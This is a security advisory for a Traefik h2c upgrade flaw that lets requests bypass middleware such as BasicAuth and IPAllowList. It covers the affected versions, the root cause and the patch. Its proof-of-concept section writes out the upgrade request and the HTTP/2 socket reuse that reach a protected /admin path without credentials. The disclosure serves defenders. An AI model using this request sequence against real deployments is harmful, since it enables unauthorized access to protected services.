highCVE-2026-88008Sep 10, 2026

CVE-2026-88008: Traefik h2c Upgrade Middleware Bypass via HTTP Request Smuggling

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

Traefik forwarded client-supplied h2c upgrade headers to backends without restriction, allowing an attacker to open a raw HTTP/2 tunnel through an unprotected route and silently bypass authentication…

Packagegithub.com/traefik/traefik/v3
Ecosystemgo
Affected>= 3.4.2, < 3.7.13
Fixed in3.7.13
CVE-2026-88008: Traefik h2c Upgrade Middleware Bypass via HTTP Request Smuggling

The problem

Traefik (v2.11.26 through v2.11.56 and v3.4.2 through v3.7.12) passed a client-supplied Upgrade: h2c header and the connection-specific HTTP2-Settings header straight through to the backend without any validation.

If the backend accepts the h2c upgrade and returns 101 Switching Protocols, Traefik hands off the TCP connection to a raw byte tunnel. From that point on, all HTTP/2 frames sent over the tunnel bypass the Traefik router and middleware chain entirely: BasicAuth, ForwardAuth, IPAllowList, RateLimit, access logs, metrics, and tracing are all skipped.

An attacker who can reach even one unprotected route on a shared backend can use it to reach every protected path on that same backend.

Proof of concept

A working proof-of-concept for CVE-2026-88008 in github.com/traefik/traefik/v3, with the exact payload below.

http
# Step 1: confirm /admin is protected (expect 401)
curl -i http://traefik:9080/admin

# Step 2: open a raw TCP connection to Traefik and send an h2c upgrade
#         request against the UNPROTECTED /public route
GET /public HTTP/1.1
Host: x
Connection: Upgrade, HTTP2-Settings
Upgrade: h2c
HTTP2-Settings: AAMAAABkAAQAoAAAAAIAAAAA


# Traefik forwards the headers to the backend unchanged.
# A cooperating backend replies:
HTTP/1.1 101 Switching Protocols
Connection: Upgrade
Upgrade: h2c


# Step 3: reuse the same TCP socket as an HTTP/2 client conn.
#         Send a request to the PROTECTED path - no credentials needed.
# (golang.org/x/net/http2).Transport{}.NewClientConn(raw)
# req, _ := http.NewRequest("GET", "http://x/admin", nil)
# cc.RoundTrip(req)  =>  200 "ADMIN SECRET DATA"

The root cause is that pkg/middlewares/forwardedheaders/forwarded_header.go preserved and forwarded every Upgrade token listed in a Connection: Upgrade header without restricting it to protocols Traefik itself supports. Once net/http/httputil.ReverseProxy received a 101 Switching Protocols response it switched the connection into tunnel mode, and Traefik stopped parsing the stream as HTTP entirely.

All subsequent HTTP/2 frames were relayed directly to the backend, completely outside the router and middleware pipeline. The patch (PR #13797, commit a277e94) adds a handler that strips the h2c token from the Upgrade header and removes the connection-specific HTTP2-Settings header before the request is forwarded, while leaving Upgrade: websocket untouched.

This maps to CWE-444 (inconsistent interpretation of HTTP requests) because Traefik and the backend disagreed on protocol state after the upgrade, and CWE-863 (incorrect authorization) because the middleware layer was silently bypassed for all tunneled requests.

The fix

Upgrade to Traefik v3.7.13 (or v2.11.57 for the v2.11 branch). The fix strips Upgrade: h2c and HTTP2-Settings from all proxied requests. If you legitimately need a backend served over unencrypted HTTP/2, configure it explicitly with the h2c:// server URL scheme or the serversscheme: h2c annotation instead of relying on client-initiated upgrades.

Reporter not attributed.

References: [1][2][3][4][5][6]

Related research